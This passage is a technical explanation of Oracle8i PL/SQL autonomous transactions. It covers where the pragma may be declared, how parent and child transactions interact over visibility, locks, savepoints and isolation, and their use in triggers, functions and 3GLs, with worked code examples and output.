recursive transactions, to handle the updating of system resources.
For example, when one application selects "nextval" from a non-cached
sequence, the value is immediately incremented in the database.  Thus,
a second application will always get the incremented value from the
sequence, regardless of whether the first application has committed or
rolled back. 

A.  Defining Autonomous Transactions
------------------------------------

In the current release of Oracle8i (8.1), autonomous transactions are
provided through PL/SQL only, though the intention is to extend the
capability to OCI in later releases.

A PL/SQL routine is marked as autonomous by placing the following
pragma (compiler directive) anywhere within its declare section:

	pragma AUTONOMOUS_TRANSACTION;

The pragma may appear in the declare section of any of the following:

(i)	top-level anonymous blocks
(ii)	local, standalone or packaged functions and procedures
(iii)   methods of object types
(iv)    database triggers

It may not appear:

(i)	outside of a declare section
(ii)    within the declare section of a nested block (i.e., a block
	within a block)
(iii)   in a package specification
(iv)    in a package body outside of a procedure or function
	definition
(v)     in a type body outside of a method definition

B. Transaction Control Flow
---------------------------

When a transaction is in progress, and a code unit declared as an
autonomous transaction is encountered, the following happens: 

(i)	The parent (or main) transaction remains active while any
statements specified in the declare section of the autonomous unit
are executed.  

Note that statements physically positioned after the pragma in the
declare section are run as part of the parent transaction, just as
exceptions generated in a declare section are always caught in the
calling routine's handler. 

(ii)	At the point that the first executable step after the begin
is reached, the parent transaction is suspended and a new one is
started. 

(iii) 	The code unit is executed as normal but with its transaction
context set to the new transaction. 

(iv)	If a commit or rollback is executed in the code unit, the
autonomous transaction is ended; the main transaction is still
suspended at this point.  If any further operations are performed
within the autonomous unit after this point, then a new transaction is
started. 

(v)	As the code unit exits and control returns to the parent, the
main transaction is resumed and the transaction context is switched
back to the parent.

Nesting Autonomous Transactions
--------------------------------

Autonomous transactions may be nested.  If an autonomous transaction
is already in progress when another is encountered, then the current
one is suspended and a new one started.  The limit on the number of
suspended transactions is governed by the initialization parameter
"transactions". 

C. Scope and Visibility
-----------------------

Variables
---------

Just like any other code units, those declared as autonomous
transactions have the same scoping rules for accessing global and
local variables.  If variables are in the scope of both the parent and
the child, then any values set in the parent are visible to the
child since variables are not controlled by the transaction context.
Similarly, if a child updates a variable in the parent's scope, then
the parent sees that change when its execution resumes.

Session Parameters
------------------

Session parameters are also not affected by transaction context.
Therefore, an alter session performed during the parent transaction is
applicable to the child transaction and vice versa.

Database Changes
----------------

As all database changes are part of a transaction, if a parent has
modified data, but not committed it at the point the autonomous
transaction begins, then those modifications are not visible to
the child.  Whether changes committed as part of a completed child
transaction are visible to the parent or not depends upon the
isolation level of the parent.  See "Transaction Control Commands"
below. 

Locks
-----

Because the parent and child transactions are independent, they
also are not be able to share any locks; if a parent transaction has a
resource locked that a child attempts to obtain, then a deadlock
situation occurs.  In this case, the offending statement is
automatically rolled back with an "ORA-00060: deadlock detected while
waiting for resource" exception raised within the child. 

Examples
--------

Assume the following has been run:

	create table msg (msg varchar2(120));

1.  First, some PL/SQL code that does not use autonomous transactions: 

declare
   var1 number := 0;	--} Global variables
   cnt  number := -1;   --}

   procedure local is
   begin
      if cnt = -1 then
         dbms_output.put_line('var1 in local is '||var1);
         var1 := var1*10;
      end if;

      select count(*) into cnt from msg;
      dbms_output.put_line('local: # of rows is '||cnt);

      insert into msg values ('New Record');
      commit;
   end;

   begin
      var1 := 2;
      insert into msg values ('Row 1');
      local;
      dbms_output.put_line('var1 in main is '||var1);
      select count(*) into cnt from msg;
      dbms_output.put_line('main: # of rows is '||cnt);
      rollback;

      local;
      insert into msg values ('Row 2');
      commit;

      local;
      select count(*) into cnt from msg;
      dbms_output.put_line('main: # of rows is '||cnt);
   end;

Running this results in:

var1 in local is 2	-> var1 is visible in local
local: # of rows is 1	-> local can see the uncommitted row
var1 in main is 20      -> new value of var1 is visible in main block
main: # of rows is 2	-> main block sees new row; both are committed
local: # of rows is 2	-> rollback has no effect
local: # of rows is 4   -> local can see rows added in main block and
			   from its previous execution
main: # of rows is 5    -> main sees all rows

Running the same block but with the local procedure declared as
an autonomous transaction as follows:

   ...
   procedure local is
      pragma AUTONOMOUS_TRANSACTION;
   begin
   ...

results in:

var1 in local is 2	-> var1 is visible in local
local: # of rows is 0	-> local cannot see the uncommitted row
			   inserted in the main block
var1 in main is 20	-> new value of var1 is visible in main block
main: # of rows is 2	-> main block sees new row also; only one row
			   is committed
local: # of rows is 1	-> local sees the row it inserted last time;
			   row inserted in main block is rolled back
local: # of rows is 3   -> local sees its rows plus the one committed
			   in the main block
main: # of rows is 4	-> main sees all rows

2.  This example demonstrates how statements executed in the declare
section are run in the scope of the parent.  With the following
function created: 

create or replace function cntmsg return number as
   cnt number := 0;
begin
   select count(*) into cnt from msg;
   return cnt;
end;

running:

insert into msg values ('Hello');

declare
   pragma AUTONOMOUS_TRANSACTION;
   x number := cntmsg;
begin
   dbms_output.put_line('Number rows = '||x);
   x := cntmsg;
   dbms_output.put_line('Number rows = '||x);
   rollback;
end;

commit;

results in:

Number rows = 1		-> function called in the declare section sees
			   the row inserted in the parent transaction
Number rows = 0		-> function called in the body is unable to
			   see the row 

with 1 row inserted into the table.

D. Transaction Control
----------------------

Exiting an Autonomous Transaction
---------------------------------

As soon as an autonomous code unit has made any database changes,
locked resources or issued transaction control statements such as set
transaction or savepoint, the transaction is said to be
active.  This means that the unit must either explicitly issue a
commit or a full rollback before exiting back to the parent
transaction, or perform an implied commit by issuing a DDL (Data
Definition Language) statement.  

It is not sufficient to simply roll back to a savepoint, even if doing
so would leave no outstanding database locks or changes.  If no commit
or rollback is done before exiting, then at the point of executing the
"return" or "end" statement, the whole autonomous transaction is rolled
back with the following error raised in the child: 

   ORA-06519: active autonomous transaction detected and rolled back

If the code unit does not currently have an active transaction in
progress, then it may successfully exit without issuing a commit or
rollback. 

Error Handling
--------------

If an autonomous code unit exits in error with an active transaction
in progress, then that transaction is automatically rolled back. 

For example, consider that the following function fails upon
execution: 

create or replace procedure atx_fail as
    pragma AUTONOMOUS_TRANSACTION;
    x number;
begin
    insert into msg values ('Hello');
    x := 'AAA';  -- will generate invalid number error
    commit;
end;

Running:

begin
    insert into msg values ('Bye');
    atx_fail;
exception
    when others then
        commit;
end;

results in only the row containing "Bye" being written to the
table.  If atx_fail was not an autonomous transaction, then the above
example results in both rows being inserted.  Similarly, if the
autonomous procedure handled the error itself, committed and exited
successfully back to the parent, then again, both rows are present
in the table upon completion.

Transaction Control Commands
----------------------------

(i)	Savepoints

Savepoint and rollback to savepoint commands may be issued within
autonomous transactions.  As an autonomous transaction is independent
of the parent transaction context, it is not possible for the child
to roll back to a savepoint in the parent.  This also means that the
same savepoint names may be used in both the parent and the child
transactions. 

For example, running:

savepoint A;

insert into msg values ('aaa');

declare
   pragma AUTONOMOUS_TRANSACTION;
   cnt number;
begin
   insert into msg values ('bbb');
   savepoint A;
   insert into msg values ('ccc');
   rollback to savepoint A;
   insert into msg values ('ddd');
   commit;
end;

results in three rows, "aaa", "bbb" and "ddd", in the table.

Issuing:

rollback to savepoint A;

causes row "aaa" to be rolled back.

(ii)	Set Transaction and Isolation Level

Set transaction commands may be issued within autonomous transactions
with the same effect as in regular transactions.  Setting the
isolation level within a parent transaction governs whether or
not the parent is able to see changes made by the child.  

By default, the isolation level is set to "read committed".  Thus, if a
child transaction (or separate session) commits changes, the parent
is able to query back those changes immediately.  By setting
isolation level to "serializable" in the parent, changes
committed prior to the set transaction command are visible to the
parent, thus, providing a read consistent snapshot at that point in time. 

Set transaction commands issued in the parent apply only to that
transaction.  Thus, a parent may issue a "set transaction read only"
statement and then invoke a child transaction to perform updates. 

E. Invoking Autonomous Transactions via SQL
-------------------------------------------

As a result of issuing SQL, an autonomous transaction can be invoked
in one of three ways: 

(i)	a trigger fires as part of an update, insert or delete
(ii)	a stored function is called from a DML (Data Manipulation
	Language) statement
(iii)	a method is called directly from a DML statement on an object
	column or table, or invoked implicitly as a map or order
	method 

Triggers
--------

A trigger itself may be declared as an autonomous transaction.  For
example:

create or replace trigger trig1 after insert on tab1 for each row
declare
   pragma AUTONOMOUS_TRANSACTION;
   ...
begin
   ...
end;

or may invoke a procedure or function that is itself autonomous.
This means that as a result of an insert into one table, updates
may be performed on other tables and the changes saved regardless of
the final outcome of the insert.  

It also means that it is possible to access the triggering table without
getting a "mutating table" error when the triggering operation performed
affects multiple rows.  (In the past, if an operation affected more than
one row, then any triggers firing at row level within the same transaction
were not permitted to query the table that caused the trigger to fire in
the first place.) 

It is important to remember that if a trigger is running as an
autonomous transaction, although it still has access to
:OLD and :NEW values as appropriate, it does not see any rows
inserted into the table by the calling transaction.  Thus, using an
autonomous trigger to obtain the maximum value currently in the
table, in order to set a primary key column, is unlikely to work.
Using an autonomous trigger to maintain an audit trail of data
changes is possible though. 

Functions and Methods
---------------------

Functions and type methods may be used within SQL statements directly,
provided they are shown to have a certain level of purity.  The purity
required in this case is a guarantee not to write to the database.
Any code run as part of an autonomous transaction is always deemed
not to read from or write to the database, regardless of which
operations it performs.  This means a query can now call a routine
that may update, insert, or delete data as required. 

Examples
--------

1.  The following is a somewhat dangerous example:

create or replace package p as
   function delmsg (p1 in varchar2) return number;
   -- A full purity level is permitted because WNDS and RNDS
   -- are implicit by the fact that the function is declared
   -- as autonomous.  Thus the compiler only needs to check
   -- operations performed in the declare section plus ensure
   -- the body of the function touches no package variables.
   --
   --   WNDS = writes no database state
   --   RNDS = reads no database state
   --   WNPS = writes no package state
   --   RNPS = reads no package state
   --
   pragma restrict_references(delmsg,WNDS,RNDS,WNPS,RNPS);
end;

create or replace package body p as
   function delmsg (p1 in varchar2) return number as
      pragma AUTONOMOUS_TRANSACTION;
   begin
      delete from msg where msg = p1;
      commit;
      return 1;
   end;
end;

insert into msg values ('Hello');
insert into msg values ('Bye');
commit;

select msg, delmsg(msg) ret from msg;

Although rows are returned, they are deleted at the same time leaving the
table empty.

2.  This example defines a method that calculates a person's current
age and then updates the table accordingly if their age in the
database is not correct: 

create or replace type peops as object (
   name varchar2(50),
   dob  date,
   age  number,
   member function get_age return number,
   pragma restrict_references(get_age,WNDS,RNDS,WNPS,RNPS)
);

create table peops_tab of peops;

create or replace type body peops as
   member function get_age return number is
      pragma AUTONOMOUS_TRANSACTION;
      lage number := 0;
   begin
      lage := trunc( (sysdate-self.dob)/365 );
      if lage != nvl(age,0) then
          update peops_tab set age = lage where name = self.name;
          commit;
      end if;
      return lage;
   end;
end;

insert into peops_tab values
   ('Sharon',to_date('08/04/66','dd/mm/rr'),30);
insert into peops_tab values
   ('George',to_date('10/01/72','dd/mm/rr'),null);
insert into peops_tab values
   ('Fred',to_date('17/03/84','dd/mm/rr'),14);
commit;

select p.get_age() from peops_tab p;

This results in the correct ages being returned and also written to the
table.

F. Distributed Transactions
---------------------------

Autonomous transactions are not currently supported as part of distributed
transactions.

G. Autonomous Transactions and 3GLs
-----------------------------------

Autonomous transactions may be invoked from 3GLs such as PRO*C and
OCI in the same way they may be invoked from say SQL*Plus, i.e., by: 

(i)	calling stored program units declared as autonomous
(ii)	executing SQL that results is an autonomous trigger, function
	or method firing
(iii)	executing locally declared autonomous PL/SQL blocks.  For
	example from PRO*C:

	EXEC SQL EXECUTE DECLARE
			    PRAGMA AUTONOMOUS_TRANSACTION;
			 BEGIN
			    ...
			 END;
	         END-EXEC;

H. Miscellaneous Examples
------------------------------

This section looks at some further examples.

1.  This example demonstrates sharing a cursor between a parent and child
transaction.  Note that although the parent has not committed its inserts,
the rows are still visible within the autonomous transaction since it is
fetching the data via a cursor opened by the parent: 

create table msg (msg varchar2(120));
insert into msg values ('Row 1');
insert into msg values ('Row 2');
insert into msg values ('Row 3');
insert into msg values ('Row 4');

set serveroutput on

declare
   cursor c1 is select * from msg;
   ret varchar2(20);

   procedure local is
      pragma AUTONOMOUS_TRANSACTION;
   begin
      fetch c1 into ret;
      dbms_output.put_line(ret);
      insert into msg values ('Row n');
      commit;
   end;

begin
   open c1;
   fetch c1 into ret;
   dbms_output.put_line(ret);
   local;
   fetch c1 into ret;
   dbms_output.put_line(ret);
   local;
   close c1;
end;

gives:

Row 1
Row 2
Row 3
Row 4

with 6 rows currently present in the table.

2.  This example shows how a LOB locator can be passed from a parent
transaction to an autonomous one without losing its context.  By
passing the locator as a parameter, the parent allows the child
access to uncommitted data; that same data is not visible when
selected from the table directly within the child: 

create table test_lobs (c1 number,c2 clob);
create table msg (msg varchar2(120));

create or replace function getlen (p1 in clob,
				   p2 in number) return number as
    pragma AUTONOMOUS_TRANSACTION;
    len  number;
    buf  varchar2(120);
    tlen number;
begin
    len := dbms_lob.getlength(p1);
    if len != 0 then
       dbms_lob.read(p1,len,1,buf);
       dbms_output.put_line('Value: '||buf);
       insert into msg values (buf);
       commit;
    end if;

    select dbms_lob.getlength(c2) into tlen
    from   test_lobs where c1=p2;

    dbms_output.put_line('Length selected from table is '||tlen);
    return len;
end;

insert into test_lobs values (1,'Hello');
insert into test_lobs values (2,'The quick brown fox');
commit;

declare
    cl1 clob;
    cl2 clob;
    ret number;
begin
    select c2 into cl1 from test_lobs where c1 = 1 for update;
    select c2 into cl2 from test_lobs where c1 = 2;
    ret := getlen(cl1,1);
    dbms_output.put_line('Length of first row is '||ret);
    ret := getlen(cl2,2);
    dbms_output.put_line('Length of second row is '||ret);
    dbms_lob.writeappend(cl1,6,' there');
    ret := getlen(cl1,1);
    dbms_output.put_line('Length of first row is now '||ret);
end;

gives:

Value: Hello
Length selected from table is 5
Length of first row is 5
Value: The quick brown fox
Length selected from table is 19
Length of second row is 19
Value: Hello there
Length selected from table is 5
Length of first row is now 11

Selecting from the msg table gives three rows as follows:

Hello
The quick brown fox
Hello there

References
----------
PL/SQL User's Guide and Reference, Interaction with Oracle

Application Developer's Guide - Fundamentals, Processing SQL Statements